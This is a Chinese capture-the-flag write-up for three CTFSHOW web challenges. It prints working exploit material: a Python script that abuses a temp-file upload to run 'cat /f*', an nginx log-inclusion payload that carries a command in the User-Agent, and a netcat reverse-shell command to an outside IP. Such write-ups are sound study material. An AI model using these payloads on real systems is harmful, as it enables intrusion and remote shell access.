当前位置: 首页 > news >正文

【Web】CTFSHOW 七夕杯 题解

目录

web签到 

easy_calc

easy_cmd


web签到 

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客7长度限制直接梭了

也可以打临时文件RCE

import requestsurl = "http://4ae13f1e-8e42-4afa-a6a6-1076acd08211.challenge.ctf.show/"def getFlag():file={"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"}data={"cmd":". /t*/*"}response = requests.post(url=url+"api/tools.php",files=file,data=data)if "t*" in response.text:print("执行成功,检查回显...")response = requests.get(url=url+"1.txt")if response.status_code == 200:print("flag 获取成功 "+response.text)else:print("flag 获取失败")if __name__ == '__main__':getFlag()

easy_calc

一眼命令拼接,先fuzz一下可以用的字符

<?php
for ($i=32;$i<127;$i++){if (!preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/",chr($i))){echo chr($i)." ";}
}
//  " ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ] a b c d e f g h i j k l m n o p q r s t u v w x y z } 

过滤了括号,不难想到用include

直接nginx日志包含

payload:

num1=1&symbol=-&num2=1;include "/var/log/nginx/access.log"

UA写入命令执行

 

 

easy_cmd

直接nc反弹shell

payload:

cmd=nc 124.222.136.33 1337 -e /bin/sh

 

http://www.lryc.cn/news/345531.html

相关文章:

  • react native 设置屏幕锁定
  • 探索 IPv6 协议:互联网的新一代寻址
  • Ubuntu意外断电vmdk损坏--打不开磁盘“***.vmdk”或它所依赖的某个快照磁盘。
  • 202466读书笔记|《一天一首古诗词》——借问梅花何处落,风吹一夜满关山
  • 如何调用本地ollama的http请求接口
  • 【C】190 颠倒二进制位
  • 蓝桥杯备战5.图书管理员
  • 微型显示器可以实时监测大脑活动
  • 移动端适配方案
  • 【Ajax零基础教程】-----第一课 Ajax简介
  • 大型医疗挂号微服务“马上好医”医疗项目(5)Swagger的使用
  • C语言从头学04——介绍占位符和输出格式
  • 写爬虫代码抓取Asterank中小行星数据
  • leetCode81. 搜索旋转排序数组 II
  • 在Ubuntu上怎么查看安装了哪些包?
  • Navicat连接远程数据库时,隔一段时间不操作出现的卡顿问题
  • 修改页签标题 + 页签图表
  • QT---day5,通信
  • 设计模式: 工厂模式
  • Java 多线程补充
  • 【Java基础】Maven继承
  • java技术总结
  • C# WinForm —— 12 ListBox绑定数据
  • 自动驾驶主流芯片及平台架构(二)特斯拉自动驾驶芯片平台介绍
  • powershell@管道符过滤的顺序问题@powershell管道符如何工作
  • SMI接口
  • 【C++】转换构造函数和类型转换函数
  • 全栈开发之路——前端篇(5)组件间通讯和接口等知识补充
  • 4.【Orangepi Zero2】Linux定时器(signal、setitimer),软件PWM驱动舵机(SG90)
  • K8S哲学 - 资源调度 HPA (horizontal pod autoScaler-sync-period)